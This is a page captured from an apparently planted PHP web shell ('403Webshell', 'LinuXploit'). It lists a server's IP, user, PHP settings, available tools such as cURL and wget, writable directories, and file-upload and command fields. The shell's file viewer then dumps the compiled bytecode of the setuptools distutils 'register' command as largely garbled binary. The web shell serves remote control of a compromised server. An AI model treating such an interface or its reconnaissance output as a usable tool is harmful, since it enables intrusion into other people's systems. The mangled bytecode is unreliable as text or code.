403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.115
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/setuptools/_distutils/command/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/setuptools/_distutils/command/__pycache__/register.cpython-311.pyc
�

���c*.��r�dZddlZddlZddlZddlZddlZddlmZddl	m
Z
ddlmZGd�de
��Z
dS)	zhdistutils.command.register

Implements the Distutils 'register' command (register with the repository).
�N)�warn�)�
PyPIRCCommand)�logc��eZdZdZejddgzZejgd�zZdd�fgZd�Zd�Z	d	�Z
d
�Zd�Zd�Z
d
�Zd�Zd�Zdd�ZdS)�registerz7register the distribution with the Python package index)�list-classifiersNz list the valid Trove classifiers)�strictNzBWill stop the registering if the meta-data are not fully compliant)�verifyr	r
�checkc��dS)NT���selfs �H/usr/lib/python3/dist-packages/setuptools/_distutils/command/register.py�<lambda>zregister.<lambda>$s��4��c�J�tj|��d|_d|_dS)Nr)r�initialize_options�list_classifiersr
rs rrzregister.initialize_options&s&���(��.�.�.� !�������rc�d�tj|��d|jfdd�}||jjd<dS)Nr)r�)r
�restructuredtextr)r�finalize_optionsr
�distribution�command_options)r�
check_optionss  rrzregister.finalize_options+sG���&�t�,�,�,�"�4�;�/� /�
�
�
�6C���)�'�2�2�2rc�J�|���|���|���D]}|�|���|jr|���dS|jr|���dS|���dS�N)	r�_set_config�get_sub_commands�run_command�dry_run�verify_metadatar�classifiers�
send_metadata)r�cmd_names  r�runzregister.run4s����������������-�-�/�/�	'�	'�H����X�&�&�&�&��<�	!�� � �"�"�"�"�"�
�
"�	!������������ � � � � rc���tdt��|j�d��}|���|j|_d|_|���dS)zDeprecated API.zVdistutils.command.register.check_metadata is deprecated; use the check command insteadrrN)r�DeprecationWarningr�get_command_obj�ensure_finalizedr
rr()rrs  r�check_metadatazregister.check_metadataCsh���
,��	
�	
�	
�
�!�1�1�'�:�:��
��� � � ��{���!"���
�	�	�����rc�>�|���}|ikr=|d|_|d|_|d|_|d|_d|_d	S|jd|jfvrtd|jz���|jdkr|j|_d|_d	S)
z0Reads the configuration file and set attributes.�username�password�
repository�realmT�pypiz%s not found in .pypircFN)�_read_pypircr/r0r1r2�
has_config�DEFAULT_REPOSITORY�
ValueError)r�configs  rr zregister._set_configPs����"�"�$�$���R�<�<�"�:�.�D�M�"�:�.�D�M�$�\�2�D�O����D�J�"�D�O�O�O���v�t�/F�&G�G�G� �!:�T�_�!L�M�M�M���&�(�(�"&�"9���#�D�O�O�Orc��|jdz}tj�|��}t	j|�|����dS)z.Fetch the list of classifiers from the server.z?:action=list_classifiersN)r1�urllib�request�urlopenr�info�_read_pypi_response)r�url�responses   rr%zregister.classifiers`sH���o� ;�;���>�)�)�#�.�.�����)�)�(�3�3�4�4�4�4�4rc��|�|�d����\}}tjd||��dS)z<Send the metadata to the package index server to be checked.r�Server response (%s): %sN)�post_to_server�build_post_datarr=)r�code�results   rr$zregister.verify_metadatafsD���,�,�T�-A�-A�(�-K�-K�L�L���v���+�T�6�:�:�:�:�:rc�@�|jrd}|j}|j}nd}dx}}d���}||vrJ|�dt
j��t��}|sd}n||vrtd��||v�J|dk�r�|std��}|�|stj	d��}|�tj���}tj
�|j��d	}|�|j|||��|�|�d
��|��\}}|�d�||��t
j��|dkr�|jr||j_dS|�d
t
j��|�d|���zt
j��d}|���dvr)td��}|sd}|���dv�)|���dkr|�||��dSdSdS|dk�rYddi}	dx|	d<x|	d<|	d<d|	d<|	dstd��|	d<|	d�|	d|	dkr�|	dstj	d��|	d<|	d�|	dstj	d��|	d<|	d�|	d|	dkrd|	d<d|	d<td��|	d|	dk��|	dstd��|	d<|	d�|�|	��\}}|dkrt3jd||��dSt3jd ��t3jd!��dS|d"kr[dd#i}	d|	d<|	dstd$��|	d<|	d�|�|	��\}}t3jd||��dSdS)%aSend the metadata to the package index server.

        Well, do the following:
        1. figure who the user is, and then
        2. send the data as a Basic auth'ed POST.

        First we try to read the username/password from $HOME/.pypirc,
        which is a ConfigParser-formatted file with a section
        [distutils] containing username and password entries (both
        in clear text). Eg:

            [distutils]
            index-servers =
                pypi

            [pypi]
            username: fred
            password: sekrit

        Otherwise, to figure who the user is, we offer the user three
        choices:

         1. use existing login,
         2. register as a new user, or
         3. set the password to a random string and email the user.

        �1�x�z1 2 3 4z�We need to know who you are, so please choose either:
 1. use your existing login,
 2. register as a new user,
 3. have the server generate a new password for you (and email it to you), or
 4. quit
Your selection [default 1]: z&Please choose one of the four options!z
Username: z
Password: r�submitzServer response ({}): {}��zAI can store your PyPI login so future submissions will be faster.z (the login will be stored in %s)�X�ynzSave your login (y/N)?�n�y�2�:action�user�namer0�emailN�confirmz
 Confirm: z!Password and confirm don't match!z
   EMail: rBz"You will receive an email shortly.z7Follow the instructions in it to complete registration.�3�password_resetzYour email address: )r5r/r0�split�announce�logging�INFO�input�print�getpassr:r;�HTTPPasswordMgr�parse�urlparser1�add_passwordr2rCrD�formatr�_get_rc_file�lower�
_store_pypircrr=)
r�choicer/r0�choices�auth�hostrErF�datas
          rr&zregister.send_metadatals���<�?�	%��F��}�H��}�H�H��F�"$�$�H�x��/�/�#�#���G�#�#��M�M� ���	
�	
�	
��W�W�F��
@�����w�&�&��>�?�?�?��G�#�#�"�S�=�=��
/� ��.�.���
/��
9�"�?�<�8�8���
9��>�1�1�3�3�D��<�(�(���9�9�!�<�D����d�j�$��(�C�C�C��.�.�t�/C�/C�H�/M�/M�t�T�T�L�D�&��M�M�4�;�;�D�&�I�I�7�<�X�X�X��s�{�{��?�?�2:�D�%�.�.�.��M�M�:� ������M�M�:�T�=N�=N�=P�=P�P������!�F� �,�,�.�.��4�4�!&�'?�!@�!@��%�)�%(�F�!�,�,�.�.��4�4��|�|�~�~��,�,��*�*�8�X�>�>�>�>�>�/�{�,-�,��s�]�]��v�&�D�>@�@�D��L�@�4�
�+�d�7�m�"�D��O��6�l�
3�$�\�2�2��V���6�l�
3��z�"�d�9�o�5�5��z�*�E�'.��|�'D�'D�D��$��z�*�E��y�/�D�&-�o�l�&C�&C�D��O��y�/�D��
�#�t�I��6�6�')�D��$�&*�D��O��=�>�>�>��z�"�d�9�o�5�5��7�m�
4� %�l� 3� 3��W�
��7�m�
4��.�.�t�4�4�L�D�&��s�{�{���3�T�6�B�B�B�B�B���=�>�>�>���U�V�V�V�V�V�
�s�]�]��/�0�D��D��M��7�m�
>� %�&<� =� =��W�
��7�m�
>��.�.�t�4�4�L�D�&��H�/��v�>�>�>�>�>�
�]rc���|jj}id|�dd�d|����d|����d|����d|����d|����d	|����d
|����d|�	���d|�
���d
|����d|����d|�
���d|����d|����d|����}|ds|ds|drd|d<|S)NrR�metadata_versionz1.0rT�version�summary�	home_page�author�author_email�license�description�keywords�platformr%�download_url�provides�requires�	obsoletesz1.1)r�metadata�get_name�get_version�get_description�get_url�get_contact�get_contact_email�get_licence�get_long_description�get_keywords�
get_platforms�get_classifiers�get_download_url�get_provides�get_requires�
get_obsoletes)r�action�metarls    rrDzregister.build_post_data�s���� �)��
��v�
���
�
�D�M�M�O�O�
�
�t�'�'�)�)�	
�

�t�+�+�-�-�
�
������

�
�d�&�&�(�(�
�
�D�2�2�4�4�
�
�t�'�'�)�)�
�
�4�4�4�6�6�
�
��)�)�+�+�
�
��*�*�,�,�
�
�4�/�/�1�1�
�
�D�1�1�3�3�
� 
��)�)�+�+�!
�"
��)�)�+�+�#
�$
��+�+�-�-�%
��(�
��	-�t�J�/�	-�4��3D�	-�',�D�#�$��rNc�
�d|vr?|�d�|d|j��tj��d}d|z}|dz}tj��}|���D]�\}}t|��tg��td��fvr|g}|D]�}t|��}|�
|��|�
d|z��|�
d��|�
|��|r!|d	d
kr|�
d������|�
|��|�
d��|����d��}d
|ztt|����d�}	tj�|j||	��}
tj�tj�|�����}d}	|�|
��}|jr|�|��}d}n|#tjj$r8}
|jr|
j���}|
j|
jf}Yd}
~
n5d}
~
wtjj$r}
dt|
��f}Yd}
~
nd}
~
wwxYw|jr8d�d|df��}|�|tj��|S)z9Post a query to the server, and return a string response.rTzRegistering {} to {}z3--------------GHSKFJDLGDS7543FJKLFHRE75642756743254z
--z--rz*
Content-Disposition: form-data; name="%s"z

����
�
zutf-8z/multipart/form-data; boundary=%s; charset=utf-8)zContent-typezContent-length)�password_mgrrJ)rL�OKNi�zK---------------------------------------------------------------------------)rZrdr1r[r\�io�StringIO�items�type�str�write�getvalue�encode�lenr:r;�Request�build_opener�HTTPBasicAuthHandler�open�
show_responser>�error�	HTTPError�fp�readrE�msg�URLError�join)rrlrj�boundary�sep_boundary�end_boundary�body�key�value�headers�req�openerrF�er�s               rrCzregister.post_to_server	s���T�>�>��M�M�&�-�-�d�6�l�D�O�L�L���
�
�
�
I����(��#�d�*���{�}�}���*�*�,�,�	%�	%�J�C���E�{�{�4��8�8�T�"�X�X�"6�6�6�����
%�
%���E�
�
���
�
�<�(�(�(��
�
�H�3�N�O�O�O��
�
�6�"�"�"��
�
�5�!�!�!��%�U�2�Y�$�.�.��J�J�t�$�$�$��
%�	
�
�
�<� � � ��
�
�4�����}�}���%�%�g�.�.��N���!�#�d�)�)�n�n�
�
��
�n�$�$�T�_�d�G�D�D����,�,��N�/�/�T�/�B�B�
�
����	��[�[��%�%�F��!�
8��/�/��7�7���F�F���|�%�	#�	#�	#��!�
#��t�y�y�{�{���V�Q�U�]�F�F�F�F�F�F������|�$�	!�	!�	!��#�a�&�&�[�F�F�F�F�F�F�����	!������	-��)�)�X�t�X�6�7�7�C��M�M�#�w�|�,�,�,��
s$�I�K�.J�K�&J<�<Kr)�__name__�
__module__�__qualname__rur�user_options�boolean_options�sub_commandsrrr(r-r r%r$r&rDrCrrrrrs������K�K� �-�F�	
�1��L�$�3�7�7�7��O��/�/�0�1�L����
C�C�C�
!�
!�
!����$�$�$� 5�5�5�;�;�;�?�?�?�B���88�8�8�8�8�8rr)�__doc__r_r�r[�urllib.parser:�urllib.request�warningsr�corer�distutils._logrrrrr�<module>r�s���������	�	�	�	������������������� � � � � � �������n�n�n�n�n�}�n�n�n�n�nr

Youez - 2016 - github.com/yon3zu
LinuXploit